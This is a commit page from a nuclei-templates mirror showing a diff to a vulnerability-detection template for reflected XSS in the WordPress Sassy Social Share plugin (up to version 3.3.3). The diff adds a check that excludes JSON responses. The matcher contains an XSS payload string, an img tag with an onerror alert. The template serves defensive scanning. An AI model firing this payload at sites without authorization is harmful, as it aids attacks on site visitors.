daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added negative content type check (#3932)

patch-1
Sandeep Singh 2022-03-18 19:52:29 +05:30 committed by GitHub
parent fc82f589a7
commit 5e1fb187e4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 10 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
vulnerabilities/wordpress/sassy-social-share.yaml
View File

@ -1,11 +1,11 @@
id: sassy-social-share-xss id: sassy-social-share-xss
info: info:
name: Sassy Social Share XSS name: Sassy Social Share <= 3.3.3 - Cross-Site Scripting
author: Random_Robbie author: Random_Robbie
severity: medium severity: medium
description: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS) tags: wordpress,wp-plugin,sassy,xss
tags: wordpress,wp-plugin
requests: requests:
- method: GET - method: GET
path: path:
@ -14,13 +14,19 @@ requests:
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: body
words: words:
- '[{"<img src=x onerror=alert(document.domain)>":""}]' - '[{"<img src=x onerror=alert(document.domain)>":""}]'
- 'facebook' - 'facebook'
- 'twitter' - 'twitter'
part: body
condition: and condition: and
- type: word
part: header
words:
- 'application/json'
negative: true
- type: status - type: status
status: status:
- 200 - 200